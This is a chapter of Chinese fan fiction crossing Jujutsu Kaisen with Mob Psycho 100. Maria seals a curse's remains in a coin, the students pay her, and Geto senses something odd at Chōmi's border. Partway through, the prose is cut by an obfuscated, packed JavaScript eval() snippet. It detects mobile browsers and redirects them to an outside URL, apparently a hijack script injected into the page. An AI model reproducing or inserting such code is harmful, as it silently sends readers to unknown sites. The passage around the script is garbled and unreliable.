“……发生什么了吗?” 她昏过去之后。 鼻梁上贴着纱布的娜娜明这才回答:“你睡了2天。” * 两天前。 玛利亚在把SATORU君吸引出来之后就昏迷了过去,因为贴在脖子上的护符(一万円)还未燃烧殆尽,所以,她直到昏过去为止,都没有受任何伤。 但两个高专生就不太一样了。 那个咒灵似乎可以对人造成某种程度上的定身,虽然两人最后反应了过来,也费了一些功夫把它……姑且算是祓除了。 ……但是,之前被抢走的部分面部仍然没有回来。 这么说着,七海建人揭开了脸上的纱布,只见他鼻梁上横着一道的并不是伤口,更像是3D游戏建模贴图缺失一样的黑色马赛克条。 而灰原失去的则是脸颊的一块。 在帐里面也没法联络外界,而这种被‘夺走’的部分,好像也没法靠医治来解决的样子。 不过现在玛利亚已经清醒了过来,两个脸上缺斤少两的男高各自把一千円塞到了玛利亚的手里,打算就近请她帮忙。 于是金发笨蛋掂量了一下手里的纸钞,又抬头看了看灰原和七海脸上的缺口。 然后玛利亚摸出钱包,给灰原找了200円,又让娜娜明多给了500円。 “伤口不是一样吗?”七海建人皱起了眉头。 他和灰原受的伤看上去并没有什么太大的差别。 而玛利亚歪着脑袋,不太好解释,她一边把钞票塞在了他们脸蛋上的黑框里,又用纱布封上,任由白色的火焰烧了起来,一边皱着眉思考了一会儿。 “……调价吧?” 总有种这边的卡面更加值钱的感觉——玛利亚看向了七海建人。 大概就是那种直觉? 但即便是这么解释了,不论是七海建人、灰原雄、还是玛利亚本人都没搞懂这是什么意思。 * 而这两天的后续不仅如此。 “‘姑且算是’……?”玛利亚总觉得这话说得有些耳熟,“咒灵没有被完整祓除吗?” 而提到这点,两个高专生交换了一个眼神,带着玛利亚来到了公寓的院子里——只见公寓的周边仍围绕着一圈灰色的帐。 而在后院的草地上,这会儿正残留着好几滩被七海建人砍剩下的奇怪史莱姆。 介于粘液和固体之间,如同液态LED屏幕,浑身冒着电子故障一样的微妙闪烁。 灰原雄双手抱胸,歪着脑袋有些烦恼:“理论上来说被祓除的咒灵,质量应当消失才对……”理论知识不太扎实的术师直接放弃了思考,“但是在它失去抵抗能力之后却没有消失。” 只见几滩被炸开的奇怪的残留物无论怎么攻击,也只会原地裂开而已,尝试过几次之后两个高专生就直接放弃了。 而且它一动不动,毫无生机,以术师的感官来看,上面也没了之前那股邪恶的咒力气息。 玛利亚戳了戳,毫无反应,倒是有了些猜测——搞不好是被她吃掉了负面的部分,精灵化了。 不过,可能因为不是由玛利亚自己的术式解决的关系。 这东西不像小手它们一样,直接转化成了家具。 但也没消失。 而是已经燃烧殆尽,陷入了深层睡眠。 但因为不算是被祓除。 所以帐也没法解开,就僵持在了这里。 “但也不能因为这样就掉以轻心……”金发的年轻术师冷静地下着判断。 “毕竟咒灵就是咒灵,它的本质是由人类的恶念和想象而生的、”他看向了站在自己面前的灰原和玛利亚,“看来只有等前辈他们过来的时候……” 冷静的家伙还在滔滔不绝,七海建人双手抱胸陷入了思考。 而属于做了再说那一派的玛利亚,已经在七海建人嘀嘀咕咕的同时,抓着自己的后脑勺,从公寓里拿出了打扫卫生的簸箕。 “……你想做什么?”两个高专生看着她的动作。 玛利亚歪着脑袋,回答得理所当然:“不是说要把它处理掉吗?” 她回忆着昨晚,噢,确切来说是昏迷之前看到的做法…… 记得好像是这样? 算了,感觉没事就没事吧? 和把大象放进冰箱一样,玛利亚也分三步走。 第一步。 玛利亚把剩下的几滩咒灵扫进了簸箕。 七海建人已经叹了口气:“祓除咒灵才不是你想的这样,而且、这种塑料制品根本算不上是咒具……” 第二步。 玛利亚提起簸箕,把那堆黏糊在一起的流体倒进了干净的垃圾袋。 “……”总觉得她这么乱搞根本不靠谱,七海建人抽出了身上裹着咒符的钝刀,“至少用这种东西把它包起来才能完全封住吧。”他说着就想解开钝刀上的咒符布条。 但抠抠搜搜的穷鬼已经摆了摆手,示意用不上那么昂贵的材料,玛利亚一手伸-进口袋,凭着感觉摸出了一枚10円硬币,想也没想就丢进了垃圾袋。 但什么都没有发生……咒灵残余是,帐也是。 场面陷入了沉默。 灰原扭头,左右打量了一下毫无动静的周边:“……然后呢?” “不应该啊?”玛利亚歪着脑袋,思考到底是哪里不对劲。 七海建人已经露出了疲惫的神情:“都说了这么做没用、” 但他的话还没说完。 第三步。 玛利亚已经管他三七二十一,秉着大力出奇迹的原则,就把垃圾袋的口袋扎起来摇了起来—— 不靠谱的咒术乱搞直接震住了两个高专生。 但下一个瞬间,黑色垃圾袋竟然像是发生剧烈的化学反应一般,砰地一声炸出了一阵五彩斑斓的黑,哪怕这是大白天也把玛利亚和周围两个男高的脸照成了彩色。 蒸腾的亮光让两个男高都睁不开眼睛。 而等他们反应过来——金发穷鬼已经举起了手里封印着沉睡力量的库O魔法卡(币)。 “……塔哒?” 站在消解中的帐中心,玛利亚歪着脑袋。 她现在强得可怕! * 随着困着公寓两天的帐终于解开,这档子工作总算是到了尾声,当然,那边厢,因为结界和外界失去的联络也重新恢复了。 不太清楚该怎么放置封印的硬币——玛利亚思考了片刻,在俄罗斯套娃面前犹豫了半天,最后还是把它塞进了麻里姐送来的海螺标本里面。 希望它某天可以清醒过来。 发挥一下神奇海螺的作用吧。 当然,这种本能驱动的行为只换来了两个高专生的沉默。 ……她到底是知道了这个咒灵是什么东西,还是只是在瞎猜啊? 隐约察觉到了玛利亚身上的‘可怕’之处,不管是七海建人、还是灰原雄都放弃了思考。 而这一档子事情解决,两个高专生已经接取了新的工作,既然已经确认由前辈过几天接手,他们打算再搜索一下霉菌的情报就准备返回高专。 七海建人皱起眉头,虽然是两个男高里面显而易见更聪明的那个:“……你的术式、算了,还是让前辈来看看吧。”他对于玛利亚这种不按常规出招的术式仍然没有任何头绪。 把咒灵堆在公寓里真的没问题吗? 几番折腾,本来打算找玛利亚算她骗人的账,气也早消了。 “总之,我们就算了,你以后不要随随便便就把术式开示给别人……不把秘密当做秘密的话,总有一天会忘记它是需要保守的东西。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14262711|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 和其他亲友一样说着玛利亚不太懂的劝告,七海建人摸出了钱包,在她手里塞了三四张福泽谕吉。 “而且,虽然我们会尽量给你保守秘密,也难保不会被人套话,让这些秘密传到不应该知道的人耳朵里。” 虽然不懂,但是拿到了钱。 金发笨蛋直接就拉高了运动衫的领子,整好了一副——不允许任何人忤逆金主的神情:“有什么要许愿的事情吗?” 小盒子为您服务! “这是娜娜明给你的赔罪。”而旁边的灰原咧开了嘴巴。 明明是给钱的那个,金发DK却一副和我没关系的申请撇开了脸:“灰原也有份。” “我就五百円左右?毕竟家具大部分是娜娜明砸的。”黑发的犬系本来就不在意被骗的事情,他把胳膊搭在了玛利亚的肩膀上。 一人一盒早就好得跟之前没什么两样,而知道了玛利亚在分类学上不算人类,他也把性别观念抛在了脑后。 灰原竖起了拇指:“娜娜明的性格就是这样。” 虽然嘴上说着和自己没关系,但总是会为了自己看得顺眼的家伙做很多打算。 “不要把那种剧本套在我身上。”七海建人露出了拒绝的表情。 但两个笨蛋已经勾肩搭背,绕着他跟两只蜜蜂一样绕起了圈——完全无视了七海建人的拒绝。 他们一边蹦跶一边还能惹人厌烦地发出‘噢噢噢!’、‘这就是拿到零花钱的感觉吗’、‘娜娜明一直是这样嘴硬心软的啦’的声音。 已经失去了拒绝的力气。 高大的混血男高只是移开了视线,撇着脸没看玛利亚:“……总之,你就当是那么回事吧。” 他说着语气带上了嫌弃。 “……去O家搞个好点的单人床就一万多,剩下的钱随便你吧。” 吃个家庭餐厅就感动也太丢人了。 * 而处理完这些事情,也送走了两个高专生,玛利亚这才有机会拿出自己的手机,看起了这两天漏掉的邮件和来电。 本来还预留着时间,但因为她完全睡了过去。 已经快到了去警局问话的时间。 手机里,麻里姐丢下一句黑醋高中的事情让自己也一起来帮忙之后,就马不停蹄地先去了医院一趟……说是要看看母亲,然后又钻进了新的打工。 灵幻已经给玛利亚约好了黑醋高中的入职面试,他联系了那边,对方只是神神秘秘地要求入职面试必须在校外进行。 除此之外—— 金发笨蛋有些头疼地看着邮箱里密密麻麻的,夏油杰的来信。 对方一开始应该是不太清楚玛利亚在帐里面,所以把玛利亚的无应答当成了拒绝,体贴地没有继续话题。 但后来帐被解开。 也许是娜娜明他们给了那边联络——夏油杰的邮件变得频繁了起来。 一个小时就发来了好几封。 [今天就是去问话的时间,预定是去调味市的警局吗?那就不需要消耗路费了吧。] 听上去倒是挺体贴的。 [玛利亚酱最后拒绝也没关系,先听我说完姑且先考虑看看吧?]连个问号都没带上。 总有种被强制‘考虑一下’的感觉,玛利亚歪着脑袋,头上缓缓冒起了一个问号。 [那边拜托了我来接送,需要来公寓接你吗?玛利亚酱。] 而没等到回复。 那个眯眯眼已经非常体贴地通报起了自己的进度。 [我到东京的车站了,可能需要一个小时。] [我上车了,还有四十多分钟。] [啊、快进入调味市的范围了。] ……到底谁是鬼? 木盒子产生了疑惑。 * 但疑惑的人不止那边。 和邮件里轻快的语气相反——狐狸眼男高站在调味市的范围外,有些费解地向前走了两步,跨进了被[欢迎来到调味市]的牌匾区分开的区域。 这是什么? 要不是非得走这一趟,夏油杰从未来预计来到、或是听说过这个东京周边的小城市。 夏油杰站在调味市与外界的交界处……狐疑地看向调味市的内-侧,又走了两步,来到了它的外侧。 两厢对比之后。 敏锐的高专生这才确认了,都市边界、那种细微到几乎的感官差异并非错觉。 恐怕能力不够强的术师根本不会察觉…… 在跨进来的瞬间,思维变得舒适、散漫了下来,像是有什么在安抚着神经,一切变得平和了下来。 是咒力吗? 他没有感觉到非常明确的咒力波动,作为术师的本能,也并没有向他传来被攻击的危机感。 夏油杰只觉得空气里有什么让人内心变得轻快的东西,像是空气中的甜味一样吹拂在脸上。 狐狸眼术师看向了远处伫立于调味市市中心……一棵直冲云霄的花椰菜巨树。 这会儿还是白天。 夏油杰的目光扫过了照常生活,对巨大花椰菜、和周边貌似冒着鬼火的废弃房屋视若无睹的调味市居民。 普通人知道非自然的存在会陷入恐慌·我们的使命就是保护普通人社会不受干扰·弱者生存才是正论…… 抱持着这种概念的狐狸眼术师感觉自己来到了一个异空间。 (可能确实如此) 这里(调味市)到底是怎么回事? ……某种意义上来说是这一幕的始作俑者之一。 半年前和超强超能力者决一死战,因为过量的力量爆发,催生了花椰菜巨树的影山茂夫。 和…… 无意识将这个真理亚渴求的,没有人再会用异样目光看着她的‘幻想故乡’,接驳,融进了咒术世界的玛利亚。 两个人都打了个喷嚏。